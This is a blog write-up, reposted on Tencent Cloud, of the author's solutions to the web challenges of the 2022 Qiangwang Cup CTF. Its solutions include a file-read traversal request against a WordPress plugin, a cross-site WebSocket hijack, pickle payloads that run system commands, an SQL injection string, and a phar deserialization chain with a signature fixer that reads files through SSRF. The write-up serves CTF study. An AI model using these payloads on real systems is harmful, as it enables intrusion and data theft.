前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >2022强网杯

2022强网杯

作者头像
HhhM
发布2022-08-10 16:21:40
4630
发布2022-08-10 16:21:40
举报
文章被收录于专栏:H&M的专栏H&M的专栏

2022强网杯

2022-08-01 10:08:00
ctf - wp

强网先锋

rcefile

www.zip源码泄露。

发现黑名单中少了phar后缀,尝试上传phar

image-20220731121614069
image-20220731121614069

访问getshell:

image-20220731121643299
image-20220731121643299

flag在根目录下

WP-UM

提供源码,根据源码可知用的是user-meta插件,有已知漏洞:

https://www.zilyun.com/23036.html

代码语言:javascript
复制
POST /wp-admin/admin-ajax.php HTTP/1.1<br>
Accept: */*<br>
Accept-Language: en-GB,en;q=0.5<br>
Accept-Encoding: gzip, deflate<br>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br>
X-Requested-With: XMLHttpRequest<br>
Content-Length: 158<br>
Connection: close<br>
Cookie: [subscriber+]<br>
<br>
field_name=test&filepath=/../../../../../../../../etc/passwd&field_id=um_field_4&form_key=Upload&action=um_show_uploaded_file&pf_nonce=4286c1c56a&is_ajax=true

可利用该漏洞来判断文件是否存在,因为:

代码语言:javascript
复制
猫哥最近用wordpress搭建了一个个人博客,粗心的猫哥因为记性差,所以把管理员10位的账号作为文件名放在/username下和15位的密码作为文件名放在/password下。

并且存放的时候猫哥分成一个数字(作为字母在密码中的顺序)+一个大写或小写字母一个文件,例如admin分成5个文件,文件名是1a 2d 3m 4i 5n

先注册用户,上传文件获取nonce。

利用漏洞可判断出密码,先大写后小写,写脚本爆即可(题目很卡,还不如手测快):

代码语言:javascript
复制
MaoGeYaoQiFeiLa

而用户名在发布的文章中可看见作者为:

代码语言:javascript
复制
MaoGePaMao

登陆后台后利用主题文件编辑器写入webshell:

代码语言:javascript
复制
/wp-content/themes/twentytwenty/404.php

flag在:/usr/local/This_1s_secert

image-20220731231752909
image-20220731231752909

web

babyweb

随意注册账号后登陆,发现bot的主要功能就是bugreport和changepw,查看源码:

代码语言:javascript
复制
var ws = null;
var url = "ws://" + window.location.host + "/bot";
function sendtobot() {
if (ws) {
var msg = document.getElementById("sendbox").value;
...

同时抓包发现无论是bugreport或者changepw都是通过websocket发给bot,并且bugreport是向管理员报告漏洞页面,由此想到类似csrf的CSWSH,测试许久后发现根据题目描述修改为内网ip端口,部署页面:

代码语言:javascript
复制
<script>
function ws(){
        ws = new WebSocket("ws://127.0.0.1:8888/bot");
        ws.onopen = function(event){
        var msg = "changepw aaaaa";
        ws.send(msg);
        }
}
ws();
</script>

修改密码后登陆admin,买了一个hint取得源码。

可利用json在python和golang中的解析差异购买flag,app.py的逻辑是取json中的product去给到result,而最后的结果也是由result决定的,传入pay.go中的则是取request.get_data()[1:],在jsonparser.ArrayEach中同样是取product,但区别在于同时存在两个product时python取第二个,golang取第一个,因此传入:

代码语言:javascript
复制
{
"product":[{"id":1,"num":0},{"id":2,"num":-1}],
"product":[{"id":1,"num":0},{"id":2,"num":1}]
}

第一个product可使金钱增加,第二个product则可绕过golang的判断update数据库中的字段从而取得flag,修改其中任意一个都可以购买flag。

image-20220731235816593
image-20220731235816593

crash

给了源码,balancer可以pickle反序列化,同时只是过滤了R,直接绕过即可。

i

代码语言:javascript
复制
b'''(S'whoami'
ios
system
.'''

o

代码语言:javascript
复制
b'''(cos
system
S'whoami'
o.'''

flag in 504 page

尝试直接sleep 100s后发现服务器直接502,由于服务器是nginx启动的,经过搜索找到文章:https://www.cnblogs.com/rexcheny/p/11179643.html

代码语言:javascript
复制
这个原因就是Nginx的proxy_read_timeout超时时长小于,后端处理时长。但其根本原因是当Nginx的read或者send到达超时时长后端还没有返回响应那么Nginx就会主动断开和后端的,也就是主动发送FIN,从而产生了504

sleep过长会导致502,因此可以让服务器连续处理sleep,也就是说同时发起多个sleep,nginx按顺序响应,但在某一个请求中会一直超时从而主动断开产生504。

在cookie处设置userdata为如下的base64

代码语言:javascript
复制
(cos
system
S'sleep 10'
o.

用burp发多个包,在某个包中即可取得504拿到flag。

image-20220801002036095
image-20220801002036095

easylogin

根据hint:

代码语言:javascript
复制
题目中wordpress自定义了action,相关漏洞在各大论坛上均有复现,复现方式基本分为2种,请自行尝试

jquery sql注入漏洞:

代码语言:javascript
复制
action=123123&query_vars[tax_query][1][field]=term_taxonomy_id&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1)+or+updatexml(0x7e,concat(1,database()),0x7e)#

暂时不清楚如何利用,不过还有一个8888的站,联想到注入该站获取密码。

通过在本地安装moodle后查看数据库发现密码无法解密,不过注意到数据库中有一个表名为mdl_user_password_resets的表,里面存有token,同时通过测试发现发送找回密码时会存入该token,在重置密码时带有该token即可重置,密码不能为弱密码。

代码语言:javascript
复制
token=<token>&username=admin&password=Admin%40123&password2=Admin%40123&submitbutton=Save+changes

后台上传插件rce,flag在/etc/mytest里面。

easyweb

showfile处简单绕一下:

代码语言:javascript
复制
./demo/../index.php

拖出来源码,经过测试可以用phar协议,同时源码有个class.php,联想到phar反序列化。

class.php一个很明显的pop链,不过有wakeup尝试用改属性数量绕过,发现需要绕过签名:

根据:

http://www.yongsheng.site/2022/05/14/phar/

代码语言:javascript
复制
from hashlib import sha1

file = open("test.phar","rb").read()
text = file[:-28]  #读取开始到末尾除签名外内容
last = file[-8:]   #读取最后8位的GBMB和签名flag
new_file = text+sha1(text).digest() + last  #生成新的文件内容,主要是此时Sha1正确了。
open("new.jpg","wb").write(new_file)

上传点直接用PHP_SESSION_UPLOAD_PROGRESS来绕过就行了。

读proc/net/tcp发现有个10.10.10.10的机器,直接利用curl去读flag:

代码语言:javascript
复制
<?php

class GuestShow{
    public $file;
    public $contents;
    public function __construct($file)
    {

        $this->file=$file;
    }
}


class AdminShow{
    public $source;
    public $str;
    public $filter;
    public function __construct($file)
    {
        $this->source = $file;
        $this->schema = 'http://';
    }
}
    @unlink("test.phar");
    $phar = new Phar("test.phar");//后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub
    $o = new GuestShow(new AdminShow("10.10.10.10:80/?url=file:///flag"));
    $phar->setMetadata($o);//将自定义的meta-data存入manifest
   //var_dump($phar->getMetadata());
    $phar->addFromString("test.txt", "test");//添加要压缩的文件
    $phar->stopBuffering();
    $content = str_replace('4:{','9:{',file_get_contents('test.phar'));
    file_put_contents('test.phar', $content);
    system('python3 check.py');
image-20220801133854941
image-20220801133854941
image-20220801133905195
image-20220801133905195

uploadpro

upload目录测试后发现存在nginx alias路径穿越,扫到题目存在phpinfo,显示使用了opcache拓展,同时文件上传运行bin后缀,很明显上传opcache getshell。

查看题目拿到opcache路径:

代码语言:javascript
复制
/tmp/opcache/a06090313e406ccd069625aabb3cded7/var/www/html/

拿下index.php,简单逆了一下能够发现有个参数prefix,测试了一下可以指定上传前缀,直接起个docker生成bin文件,修改systemid上传即可getshell。

参考0ctf ezdoor:https://www.cnblogs.com/tr1ple/p/11194452.html

我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=35uuxkmnyqucc

本文原创于HhhM的博客,转载请标明出处。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022/08/01 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 2022强网杯
    • 强网先锋
      • rcefile
      • WP-UM
    • web
      • babyweb
      • crash
      • easylogin
      • easyweb
      • uploadpro
相关产品与服务
云开发 CloudBase
云开发(Tencent CloudBase,TCB)是腾讯云提供的云原生一体化开发环境和工具平台,为200万+企业和开发者提供高可用、自动弹性扩缩的后端云服务,可用于云端一体化开发多种端应用(小程序、公众号、Web 应用等),避免了应用开发过程中繁琐的服务器搭建及运维,开发者可以专注于业务逻辑的实现,开发门槛更低,效率更高。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档